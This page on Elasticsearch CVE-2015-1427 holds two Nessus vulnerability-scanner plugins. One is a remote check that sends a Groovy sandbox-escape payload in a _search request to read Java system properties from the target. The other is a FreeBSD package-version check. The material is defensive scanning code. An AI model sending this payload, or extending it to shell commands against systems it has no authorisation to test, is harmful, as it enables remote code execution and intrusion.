Vulnerabilities > CVE-2015-1427 - Improper Access Control vulnerability in Elasticsearch

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(81816);
  script_version("1.13");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2015-1427");
  script_bugtraq_id(72585);

  script_name(english:"Elasticsearch Groovy Script RCE");
  script_summary(english:"Attempts to execute arbitrary Java code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Elasticsearch application hosted on the remote web server is
affected by a remote code execution vulnerability due to unspecified
flaws in the Groovy script engine. A remote unauthenticated attacker, 
using a specially crafted request, can escape the sandbox and execute 
arbitrary Java code. A successful attack  could allow the user to 
gain a remote shell or manipulate files on the remote system.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2015/Feb/92");
  script_set_attribute(attribute:"see_also", value:"https://github.com/elastic/elasticsearch/issues/9655");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.3.8 / 1.4.3 or later, or disable scripting.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Search Groovy Sandbox Bypass');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("elasticsearch_detect.nbin");
  script_require_keys("installed_sw/Elasticsearch");
  script_require_ports("Services/www", 9200);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

app = "Elasticsearch";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:9200);

install = get_single_install(
  app_name            : app,
  port                : port
);

dir  = install['path'];
url  = build_url(qs:dir, port:port);
vuln = FALSE;

data = '{
  "size": 1,
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "myscript": {
      "script": "java.lang.Math.class.forName(\\"java.lang.System\\").getProperties()"
    }
  }
}';

res = http_send_recv3(
  method:'POST',
  port:port,
  item:dir+"_search?pretty",
  content_type:'application/json',
  data:data,
  exit_on_fail:TRUE
);

vuln = (
  "200 OK"                           >< res[0] &&
  "java.specification.version"       >< res[2] &&
  "java.version"                     >< res[2]
);

if (!vuln) 
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);

attack = build_url(qs:attack, port:port);
security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  cmd        : "System.getProperties()",
  output     : res[2],
  line_limit : 25,
  request    : make_list(attack)
);

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the FreeBSD VuXML database :
#
# Copyright 2003-2019 Jacques Vidrine and contributors
#
# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
# HTML, PDF, PostScript, RTF and so forth) with or without modification,
# are permitted provided that the following conditions are met:
# 1. Redistributions of source code (VuXML) must retain the above
#    copyright notice, this list of conditions and the following
#    disclaimer as the first lines of this file unmodified.
# 2. Redistributions in compiled form (transformed to other DTDs,
#    published online in any format, converted to PDF, PostScript,
#    RTF and other formats) must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
# 
# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

include("compat.inc");

if (description)
{
  script_id(84409);
  script_version("2.9");
  script_cvs_date("Date: 2019/10/16 10:34:21");

  script_cve_id("CVE-2015-1427");
  script_bugtraq_id(72585);

  script_name(english:"FreeBSD : elasticsearch -- remote OS command execution via Groovy scripting engine (026759e0-1ba3-11e5-b43d-002590263bf5)");
  script_summary(english:"Checks for updated packages in pkg_info output");

  script_set_attribute(
    attribute:"synopsis", 
    value:
"The remote FreeBSD host is missing one or more security-related
updates."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Elastic reports :

Vulnerability Summary: Elasticsearch versions 1.3.0-1.3.7 and
1.4.0-1.4.2 have vulnerabilities in the Groovy scripting engine that
were introduced in 1.3.0. The vulnerability allows an attacker to
construct Groovy scripts that escape the sandbox and execute shell
commands as the user running the Elasticsearch Java VM.

Remediation Summary: Users should upgrade to 1.3.8 or 1.4.3. Users
that do not want to upgrade can address the vulnerability by setting
script.groovy.sandbox.enabled to false in elasticsearch.yml and
restarting the node."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.elastic.co/community/security"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://www.elastic.co/blog/elasticsearch-1-4-3-and-1-3-8-released"
  );
  # http://www.securityfocus.com/archive/1/archive/1/534689/100/0/threaded
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?ef73e92b"
  );
  # https://packetstormsecurity.com/files/130368/Elasticsearch-1.3.7-1.4.2-Sandbox-Escape-Command-Execution.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?4bfad246"
  );
  # https://packetstormsecurity.com/files/130784/ElasticSearch-Unauthenticated-Remote-Code-Execution.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?75ce4361"
  );
  # https://vuxml.freebsd.org/freebsd/026759e0-1ba3-11e5-b43d-002590263bf5.html
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.nessus.org/u?5e8f6d25"
  );
  script_set_attribute(attribute:"solution", value:"Update the affected packages.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Search Groovy Sandbox Bypass');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'CANVAS');

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:elasticsearch");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/11");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/06/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/26");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"FreeBSD Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");

  exit(0);
}


include("audit.inc");
include("freebsd_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;

if (pkg_test(save_report:TRUE, pkg:"elasticsearch>=1.3.0<1.3.8")) flag++;
if (pkg_test(save_report:TRUE, pkg:"elasticsearch>=1.4.0<1.4.3")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");